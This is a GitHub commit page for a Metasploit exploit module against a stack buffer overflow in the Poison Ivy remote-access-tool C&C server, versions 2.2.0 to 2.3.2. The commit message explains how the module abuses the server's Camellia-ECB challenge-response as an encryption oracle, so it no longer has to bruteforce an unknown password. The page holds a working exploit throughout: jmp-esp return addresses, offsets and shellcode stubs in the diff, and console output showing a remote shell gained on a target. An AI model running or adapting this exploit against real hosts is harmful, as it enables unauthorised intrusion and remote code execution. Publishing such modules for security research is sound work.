Skip to content

Commit

Permalink
This is a modification to the original poisonivy_bof.rb exploit
Browse files Browse the repository at this point in the history
module removing the need for bruteforce in the case of an unknown
server password by (ab)using the challenge-response as an encryption
oracle, making it more reliable. The vulnerability has also been confirmed
in versions 2.2.0 up to 2.3.1 and additional targets for these versions
have been added as well.

See http://samvartaka.github.io/malware/2015/09/07/poison-ivy-reliable-exploitation/
for details.

## Console output

Below is an example of the new functionality (PIVY C2 server password is
set to 'prettysecure' and unknown to attacker). Exploitation of versions 2.3.0 and 2.3.1
is similar.

### Version 2.3.2 (unknown password)

```
msf > use windows/misc/poisonivy_bof
msf exploit(poisonivy_bof) > set RHOST 192.168.0.103
RHOST => 192.168.0.103
msf exploit(poisonivy_bof) > check

[*] Vulnerable Poison Ivy C&C version 2.3.1/2.3.2 detected.
[*] 192.168.0.103:3460 - The target appears to be vulnerable.
msf exploit(poisonivy_bof) > set PAYLOAD windows/shell_bind_tcp
PAYLOAD => windows/shell_bind_tcp
msf exploit(poisonivy_bof) > exploit

[*] Started bind handler
[*] Performing handshake...
[*] Sending exploit...

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\winxp\Desktop\Poison Ivy\Poison Ivy 2.3.2>
```

### Version 2.2.0 (unknown password)

```
msf exploit(poisonivy_bof) > check

[*] Vulnerable Poison Ivy C&C version 2.2.0 detected.
[*] 192.168.0.103:3460 - The target appears to be vulnerable.

msf exploit(poisonivy_bof) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Poison Ivy 2.2.0 on Windows XP SP3 / Windows 7 SP1
   1   Poison Ivy 2.3.0 on Windows XP SP3 / Windows 7 SP1
   2   Poison Ivy 2.3.1, 2.3.2 on Windows XP SP3 / Windows 7 SP1

msf exploit(poisonivy_bof) > set TARGET 0
TARGET => 0

msf exploit(poisonivy_bof) > exploit

[*] Started bind handler
[*] Performing handshake...
[*] Sending exploit...

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\winxp\Desktop\Poison Ivy\Poison Ivy 2.2.0>
```
  • Loading branch information
samvartaka committed Sep 7, 2015
1 parent d7887b5 commit 0a0e7ab
Showing 1 changed file with 90 additions and 81 deletions.
171 changes: 90 additions & 81 deletions modules/exploits/windows/misc/poisonivy_bof.rb
Original file line number Diff line number Diff line change
Expand Up @@ -9,39 +9,29 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Brute

def initialize(info = {})
super(update_info(info,
'Name' => "Poison Ivy Server Buffer Overflow",
'Description' => %q{
This module exploits a stack buffer overflow in Poison Ivy 2.3.2 C&C server.
The exploit does not need to know the password chosen for the bot/server
communication. If the C&C is configured with the default 'admin' password,
the exploit should work fine. In case of the C&C configured with another
password the exploit can fail. The 'check' command can be used to determine
if the C&C target is using the default 'admin' password.
Hopefully an exploit try won't crash the Poison Ivy C&C process, just the thread
responsible of handling the connection. Because of this the module provides the
RANDHEADER option and a bruteforce target. If RANDHEADER is used a random header
will be used. If the bruteforce target is selected, a random header will be sent in
case the default for the password 'admin' doesn't work. Bruteforce will stop after
5 tries or a session obtained.
This module exploits a stack buffer overflow in the Poison Ivy 2.2.0 to 2.3.2 C&C server.
The exploit does not need to know the password chosen for the bot/server communication.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Andrzej Dereszowski', # Vulnerability Discovery
'Gal Badishi', # Exploit and Metasploit module
'juan vazquez' # Testing and little of Metasploit-fu
'juan vazquez', # Testing and little of Metasploit-fu
'Jos Wetzels' # Added support for Poison Ivy 2.2.0 to 2.3.1, removed need for bruteforcing by (ab)using C&C challenge-response as encryption oracle
],
'References' =>
[
[ 'OSVDB', '83774' ],
[ 'EDB', '19613' ],
[ 'URL', 'http://www.signal11.eu/en/research/articles/targeted_2010.pdf' ],
[ 'URL', 'http://badishi.com/own-and-you-shall-be-owned' ]
[ 'URL', 'http://badishi.com/own-and-you-shall-be-owned' ],
[ 'URL', 'http://samvartaka.github.io/malware/2015/09/07/poison-ivy-reliable-exploitation/' ],
],
'DisclosureDate' => "Jun 24 2012",
'DefaultOptions' =>
Expand All @@ -58,107 +48,126 @@ def initialize(info = {})
'Targets' =>
[
[
'Poison Ivy 2.3.2 / Windows XP SP3 / Windows 7 SP1',
'Poison Ivy 2.2.0 on Windows XP SP3 / Windows 7 SP1',
{
'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.2.exe"
'Ret' => 0x00425E5D, # jmp esp from "Poison Ivy 2.2.0.exe"
'RWAddress' => 0x00401000,
'Offset' => 0x806D,
'Offset' => 0x8069,
'PayloadOffset' => 0x75,
'jmpPayload' => "\x81\xec\x00\x80\x00\x00\xff\xe4" # sub esp,0x8000 # jmp esp
'jmpPayload' => "\x81\xec\xFC\x7F\x00\x00\xff\xe4" # sub esp,0x7FFC # jmp esp
}
],

[
'Poison Ivy 2.3.2 - Bruteforce / Windows XP SP3 / Windows 7 SP1',
'Poison Ivy 2.3.0 on Windows XP SP3 / Windows 7 SP1',
{
'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.2.exe"
'Ret' => 0x00442749, # jmp esp from "Poison Ivy 2.3.0.exe"
'RWAddress' => 0x00401000,
'Offset' => 0x8069,
'PayloadOffset' => 0x75,
'jmpPayload' => "\x81\xec\xFC\x7F\x00\x00\xff\xe4" # sub esp,0x7FFC # jmp esp
}
],

[
'Poison Ivy 2.3.1, 2.3.2 on Windows XP SP3 / Windows 7 SP1',
{
'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.1.exe" and "Poison Ivy 2.3.2.exe"
'RWAddress' => 0x00401000,
'Offset' => 0x806D,
'PayloadOffset' => 0x75,
'jmpPayload' => "\x81\xec\x00\x80\x00\x00\xff\xe4", # sub esp,0x8000 # jmp esp
'Bruteforce' =>
{
'Start' => { 'Try' => 1 },
'Stop' => { 'Try' => 6 },
'Step' => 1,
'Delay' => 2
}
'jmpPayload' => "\x81\xec\x00\x80\x00\x00\xff\xe4" # sub esp,0x8000 # jmp esp
}
]
],
'DefaultTarget' => 0
'DefaultTarget' => 2
))

register_options(
[
Opt::RPORT(3460),
OptBool.new('RANDHEADER', [true, 'Send random bytes as the header', false])
], self.class)

register_advanced_options(
[
OptInt.new('BruteWait', [ false, "Delay between brute force attempts", 2 ]),
], self.class)
[
Opt::RPORT(3460),
], self.class)

end

def check
sig = "\x35\xe1\x06\x6c\xcd\x15\x87\x3e\xee\xf8\x51\x89\x66\xb7\x0f\x8b"
lensig = [0x000015D0].pack("V")
# camellia block size
blockSize = 16
# number of blocks in challenge
blockCount = 16
challenge = ("\x00" * blockSize * blockCount)

indicator = Hash.new
# 0x0000113e as first 4 bytes on PI 2.1.0
indicator[[0x0000113e].pack("V")] = '2.1.0'
# 0x00001212 as first 4 bytes on PI 2.1.1
indicator[[0x00001212].pack("V")] = '2.1.1'
# 0x000013f6 as first 4 bytes on PI 2.1.2
indicator[[0x000013f6].pack("V")] = '2.1.2'

# 0x000013e0 as 4 bytes after challenge on PI 2.2.0
indicator[[0x000013e0].pack("V")] = '2.2.0'
# 0x00001470 as 4 bytes after challenge on PI 2.3.0
indicator[[0x00001470].pack("V")] = '2.3.0'
# 0x000015D0 as 4 bytes after challenge on PI 2.3.1/2.3.2
indicator[[0x000015D0].pack("V")] = '2.3.1/2.3.2'

connect
sock.put("\x00" * 256)
sock.put(challenge)
response = sock.read(256)
datalen = sock.read(4)
disconnect

if datalen == lensig
if response[0, 16] == sig
vprint_status("Password appears to be \"admin\"")
if response.length == 256
response2 = sock.read(4)
disconnect

# Poison Ivy >= 2.2.0 Challenge Response uses Camellia in ECB mode which means identical plaintext blocks
# map to identical ciphertext blocks. A challenge composed of identical blocks will thus result in a response of identical blocks.
firstBlock = response[0, 16]
for index in 1..15
if response[index * 16, 16] != firstBlock
print_status("Response doesn't match Poison Ivy Challenge-Response format.")
return Exploit::CheckCode::Safe
end
end

if indicator.key?(response2)
indic = indicator[response2]
print_status("Vulnerable Poison Ivy C&C version #{indic} detected.")
return Exploit::CheckCode::Appears
else
vprint_status("Unknown password - Bruteforce target or RANDHEADER can be tried and exploit launched until success.")
return Exploit::CheckCode::Detected
end
elsif response.length == 4
disconnect
if indicator.key?(response)
indic = indicator[response]
print_status("Poison Ivy C&C version #{indic} detected.")
return Exploit::CheckCode::Safe
end
end
return Exploit::CheckCode::Safe
end

def single_exploit
if datastore['RANDHEADER'] == true
# Generate a random header - allows multiple invocations of the exploit if it fails because we don't know the password
header = rand_text(0x20)
else
# This is the 32-byte header we want to send, encrypted with the default password ("admin")
# We have a very good chance of succeeding even if the password was changed
header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7"
end
do_exploit(header)
end

def brute_exploit(brute_target)
if brute_target['Try'] == 1
print_status("Bruteforcing - Try #{brute_target['Try']}: Header for 'admin' password")
# This is the 32-byte header we want to send, encrypted with the default password ("admin")
# We have a very good chance of succeeding even if the password was changed
header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7"
else
print_status("Bruteforcing - Try #{brute_target['Try']}: Random Header")
# Generate a random header - allows multiple invocations of the exploit if it fails because we don't know the password
header = rand_text(0x20)
end
do_exploit(header)
vprint_status("Response doesn't match Poison Ivy Challenge-Response protocol.")
return Exploit::CheckCode::Safe
end

def do_exploit(header)
def exploit
# Handshake
connect
print_status("Performing handshake...")
sock.put("\x00" * 256)
sock.get_once(-1, 10)

# plaintext header
plaintextHeader = "\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\xbb\x00\x00\x00\xc2\x00\x00\x00\xc2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

# crafted challenge (first 32 bytes is our plaintext header), abuse challenge-response as encryption oracle
challenge = plaintextHeader + ("\x00" * (256 - 32))
sock.put(challenge)
# response = encrypt(challenge, key)
response = sock.get_once

# since encryption is done using Camellia in ECB mode, we can cut and paste the first 32 bytes (our header inside the crafted challenge) without knowing the key
encryptedHeader = response[0, 32]

# Don't change the nulls, or it might not work
xploit = ''
xploit << header
xploit << encryptedHeader
xploit << "\x00" * (target['PayloadOffset'] - xploit.length)
xploit << payload.encoded
xploit << "\x00" * (target['Offset'] - xploit.length)
Expand Down

0 comments on commit 0a0e7ab

Please sign in to comment.